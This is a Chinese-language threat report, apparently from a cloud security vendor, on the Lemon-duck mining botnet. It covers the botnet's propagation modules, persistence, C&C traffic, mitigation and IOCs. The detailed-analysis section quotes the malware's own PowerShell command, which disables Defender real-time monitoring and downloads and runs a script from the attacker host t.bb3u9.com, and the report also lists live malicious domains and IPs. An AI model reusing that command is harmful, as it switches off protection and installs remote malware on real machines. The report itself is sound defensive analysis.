阿里云安全监测到利用多种方式传播的僵尸网络Lemon-duck持续活跃。

概述

Lemon-duck不仅利用永恒之蓝漏洞、RDP暴力破解、SSH暴力破解、MS-SQL暴力破解、Redis未授权访问、Hadoop未授权访问等进行扫描入侵,同时变种集成WebLogic未授权访问远程命令执行漏洞进行互联网传播,并通过SMB、NTLM进行横向移动,从而实现挖矿、后门远控等功能,对主机、用户资产危害极大。

阿里云安全持续对该僵尸网络进行监控,发现近期传播有所上升,提醒广大用户注意防护。传播趋势

传播手段

Lemon-duck通过多个服务暴力破解、未授权访问远程命令执行和横向移动等进行传播。

阶段分析:
初始访问 执行 持久化 防御规避 发现 横向移动 命令与控制 影响
利用对外开放的多种服务进行入侵 命令和脚本解释器(下载Bash脚本) 计划任务或作业 数据混淆 文件和目录 利用远程服务 应用层协议 挖矿会导致系统CPU负载加大,大量消耗主要业务资源,可能导致核心业务终止,从而影响企业服务
外部远程服务 计划任务或作业(crontab或cron.d) 文件删除 系统网络配置 通过可移动媒体复制 Web服务 收集系统主机信息,导致信息泄露
通过可移动媒体复制 第三方软件 清除历史 网络服务扫描 数据编码
安全软件 入口工具传输
系统信息 协议隧道
进程 非标准端口
软件
系统所有者或用户

详细分析

Lemon-duck新增WebLogic未授权访问远程命令执行模块,Lemon-duck入侵WebLogic应用之后会通过t.bb3u9.com/ln/core.png?logic下载bash脚本并执行

通过SSH暴力破解、RDP暴力破解等入侵会执行如下命令:
cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionProcess c:windowssystem32WindowsPowerShellv1.0powershell.exe&powershell IEX(New-Object Net.WebClient).DownloadString("http://t.bb3u9.com/rdp.jsp
我们针对入侵Linux、Windows平台后的行为进行分析。
  • Linux平台

    Linux平台下Lemon-duck入侵后会下载名为core.png的bash脚本,作用是下载核心bash脚本和将失陷主机传送到远程C&C端,并通过crontab做持久化。然后通过known_hosts中携带的主机信息进行传播,下载名为core.png的bash脚本,同时将本地主机信息上报远控端。

    localgo函数中会通过config、history文件、进程、配置文件等获取用户、端口、rsa密钥等进而批量尝试传播。或通过$userlist、$hostlist、$keylist、$sshports即用户名列表、主机列表、密钥列表、SSH端口列表的遍历对外进行传播。

    脚本中主要函数功能总结如下:
    函数模块 功能说明
    processes 结束其他挖矿进程,卸载主机安全服务程序。
    files 通过已知的IOC路径删除其他挖矿程序本地脚本。
    network 通过已知的网络IOC结束其他挖矿程序网络连接。
    localgo 通过config、history文件,或通过进程、配置文件等获取用户、端口、rsa密钥等信息,进而尝试批量传播。
  • Window平台

    核心PowerShell脚本文件经过三层的混淆,经过三次反混淆后得到可读的PowerShell文件,文件包含了收集失陷主机信息、下载脚本、二进制文件,进行C&C通信等功能。如图所示Lemon-duck收集失陷主机的系统、网卡、CPU等信息。并通过params参数拼接上述各类系统信息,发送至C&C。需要下载的文件包含if.bin和kr.bin文件,其中这两个为PowerShell脚本。

    对上述if.bin(md5: 0261b30c6773e4c04987bbe5090ba685)的PowerShell文件进行反混淆处理,可以看到文件包含了核心的传播模块,包含RDP、SSH、Redis、SMB、Yarn、WebLogic的命令模块,如下图所示:核心的传播模块通过各个函数模块进行调用,例如调用logicexec进行WebLogic未授权访问远程命令执行,也可以通过powerdump模块dump本地hash,脚本中还集成了弱密码表。检测本地是否存在mimikatz和plink文件,如果没有通过下载路径进行下载。
    脚本中主要函数功能总结如下:
    函数模块 功能
    smbghost_exec SMB利用模块。
    mssqlrun MS-SQL利用模块。
    sshbrute SSH暴力破解模块。
    localscan 内网445开放端口扫描。
    redisexec Redis未授权访问利用模块。
    yarnexec Hadoop Yarn未授权访问利用模块。
    logicexec WebLogic未授权命令执行(CVE-2020-14882)。
    Gen-NTLM 结合其他模块进行横向移动。

    对kr.bin(md5: b7a1cfd74661361f71856388dac5aaa6)的PowerShell文件进行反混淆处理,该文件主要功能为建立一个守护进程角色持续进行监控。其中GetProtected通过路径匹配m6g.bin.exe和m6.bin.exe的挖矿文件来获取进程ID,用于保护自身挖矿进程。ProcessSuspend用于将进程暂停。

    Killer是核心功能函数,Lemon-duck会遍历进程,通过匹配名单结束名单中的进程,例如 Windows_update、Windows Managers、Oracle Java Update等进程,同时会杀死其他挖矿程序进程诸如MinerGate、minerd、Carbon、javaupd等,还会通过netstat遍历外联IP然后中断连接。

安全解决方案

避免将远程服务SSH、RDP暴露给全网,建议通过策略区域放行或对特定IP放行,针对未修复的漏洞及时软件升级或配置升级,同时开启四层、七层漏洞防护、虚拟补丁功能。

云防火墙针对暴力破解、扫描、挖矿行为、数据库等云上高危危害针对性防护,对于Lemon-duck利用多种方式,例如四层网络协议中SSH暴力破解、RDP暴力破解、MS-SQL暴力破解、MS17-010漏洞,七层网络协议中Redis未授权访问远程命令执行、Hadoop Yarn未授权访问远程命令执行、WelLogic未授权访问远程命令执行等,都可以通过一键开启IPS防护模块进行防御。云防火墙概览页中场景提供了以上场景的历史数据,如下图所示:暴力破解

IOC

Domain
  • t.bb3u9.com
  • t.pp6r1.com
  • p.b69kq.com
  • d.u78wjdu.com
  • t.zer9g.com
  • d.cu38l.com
  • d.ttr3p.com
URL
  • hxxp://d.u78wjdu.com/ln/xr.zip
  • hxxp://d.u78wjdu.com/m6.bin?redacted
IP
  • 170.187.149.77
  • 138.68.186.90
  • 176.58.99.231
  • 138.68.251.24
  • 165.227.62.120
  • 202.182.120.192
MD5
a.asp: 576e06f3b4d78e6d0ab462da0eb70238 (bash shell)
ifbin: 0261b30c6773e4c04987bbe5090ba685 (powershell)
krbin: b7a1cfd74661361f71856388dac5aaa6 (powershell)